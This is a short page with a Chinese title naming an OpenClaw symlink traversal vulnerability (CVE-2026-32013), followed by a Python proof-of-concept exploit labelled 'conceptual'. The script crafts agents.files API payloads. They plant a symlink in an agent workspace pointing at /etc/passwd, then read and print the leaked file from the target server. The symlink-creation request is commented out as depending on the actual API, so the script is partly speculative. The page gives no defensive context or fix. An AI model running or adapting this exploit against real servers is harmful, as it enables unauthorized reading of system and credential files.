CVE-2026-32013 OpenClaw符号链接遍历漏洞

# PoC for CVE-2026-32013 (Conceptual) # Exploiting symlink traversal in OpenClaw agents.files methods import requests import json TARGET = "http://vulnerable-openclaw-server:8080" AGENT_ID = "compromised_agent_id" # 1. Create a symlink inside the workspace pointing to a sensitive file (e.g., /etc/passwd) symlink_payload = { "method": "agents.files.set", "params": { "agent_id": AGENT_ID, "path": "malicious_link", "target": "/etc/passwd", # The symlink target "action": "create_symlink" } } # 2. Read the sensitive file through the symlink read_payload = { "method": "agents.files.get", "params": { "agent_id": AGENT_ID, "path": "malicious_link" } } try: print("[*] Attempting to exploit symlink traversal...") # Step 1: Setup Symlink (Mechanism depends on actual API implementation) # r = requests.post(f"{TARGET}/api", json=symlink_payload) # Step 2: Read file via symlink r = requests.post(f"{TARGET}/api", json=read_payload) if r.status_code == 200: data = r.json() print("[+] Exploit successful! Leaked content:") print(json.dumps(data, indent=2)) else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")